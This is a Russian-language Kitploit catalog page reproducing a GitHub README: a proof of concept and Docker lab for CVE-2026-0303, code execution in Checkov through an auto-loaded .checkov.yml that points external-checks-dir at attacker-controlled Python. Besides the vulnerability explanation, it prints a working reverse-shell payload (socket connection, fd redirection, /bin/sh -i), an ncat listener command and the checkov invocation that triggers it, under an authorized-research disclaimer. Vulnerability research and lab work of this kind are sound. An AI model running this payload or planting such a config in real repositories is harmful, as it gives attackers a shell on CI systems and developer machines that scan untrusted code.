Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-0303 — Концепция доказательства и Docker-лаборатория для CVE-2026-0303, демонстрирующая выполнение произвольного кода в Checkov через автоматически загружаемый .checkov.yml, указывающий на внешнюю проверку, контролируемую злоумышленником. | Kitploit
Инструменты/GitHubGitHub/piecar21/cve-2026-0303
Анализ уязвимостейАнализ КодаЭксплуатацияDevSecOpsБезопасность Цепочки ПоставокОбучение и ОбразованиеЛаборатории и Практика
GitHubpiecar21/cve-2026-0303

CVE-2026-0303

Концепция доказательства и Docker-лаборатория для CVE-2026-0303, демонстрирующая выполнение произвольного кода в Checkov через автоматически загружаемый .checkov.yml, указывающий на внешнюю проверку, контролируемую злоумышленником.

Репозиторий
1 день назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Произвольное выполнение кода в Checkov (CVE-2026-0303)

CVE: CVE-2026-0303 | Базовая оценка CVSS: 6.3 | Уровень серьёзности: низкий

CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:H/SI:H/SA:H

CVE-2026-0303 — уязвимость произвольного выполнения кода в Checkov.
Опубликовано Palo Alto Networks 9 сентября 2026 года.

Затронутые версии: Checkov 3.2.0 – 3.2.531
Исправленная версия: Checkov 3.2.532

Кратко

Произвольное выполнение кода в Checkov через автоматически загружаемый файл .checkov.yml -> выполнение контролируемого злоумышленником Python-кода через неподписанную внешнюю пользовательскую проверку.

Демонстрация

https://github.com/user-attachments/assets/62af16bb-5b7f-4465-98b9-2d1836f5ee4f

Уязвимость

Checkov поддерживает внешние проверки на Python. Эти проверки намеренно загружаются как Python-модули, а значит, операторы Python верхнего уровня выполняются при импорте модуля.

Когда Checkov сканирует каталог, он автоматически ищет в этом каталоге файл конфигурации .checkov.yml или .checkov.yaml; контролируемый злоумышленником файл конфигурации может задать external-checks-dir как каталог внутри сканируемого репозитория.

Это создаёт следующую цепочку выполнения:

Жертва сканирует недоверенный репозиторий
        ->
Checkov автоматически загружает .checkov.yml
        ->
Конфигурация задаёт external-checks-dir
        ->
Checkov импортирует контролируемый злоумышленником Python-модуль
        ->
Код Python верхнего уровня выполняется с привилегиями Checkov

Злоумышленнику не нужно эксплуатировать парсер Terraform или предоставлять корректную политику Checkov. Выполнение кода происходит при импорте Python-файла в Checkov.

Это особенно актуально для CI-конвейеров, которые автоматически запускают Checkov против pull-запросов или другого недоверенного содержимого репозитория.

Полезная нагрузка

Полезная нагрузка для лаборатории устанавливает соединение из контейнера Checkov со слушателем на хосте:

def exploit():
    lhost = "host.docker.internal"
    lport = 4545
    sock = socket.create_connection((lhost, lport))
    for file_descriptor in (0, 1, 2):
        os.dup2(sock.fileno(), file_descriptor)
    subprocess.call(["/bin/sh", "-i"])


exploit()

Использование

Измените полезную нагрузку в exploit\external-checks\poc_check.py:

lhost = "127.0.0.1"
lport = 4444

Запустите слушатель на хосте:

ncat -lvkp 4444

Вызовите уязвимое поведение, просканировав контролируемый злоумышленником каталог:

checkov -d /workspace --framework terraform --skip-download

Checkov автоматически читает /workspace/.checkov.yml, обнаруживает каталог внешних проверок и импортирует poc_check.py. Слушатель должен получить оболочку, когда выполнится вызов exploit() на уровне модуля.

Лаборатория

Я предоставил простую docker-лабораторию, которую можно настроить с помощью

docker compose up -d

и подключиться к её оболочке с помощью

docker exec -it scan-server /bin/sh

Отказ от ответственности

Этот репозиторий содержит независимое доказательство концепции для CVE-2026-0303. Уязвимость была воссоздана и протестирована в изолированной лабораторной среде.

Этот проект предназначен исключительно для авторизованных исследований в области безопасности, обучения и тестирования в изолированных средах. Не используйте его против систем, сетей, репозиториев или данных без явного разрешения владельца.

Автор предоставляет этот проект как есть, без каких-либо гарантий и не несёт ответственности за ущерб, потерю данных, нарушение работы сервисов, несанкционированный доступ или неправомерное использование этого программного обеспечения или его производных.

Скачать инструмент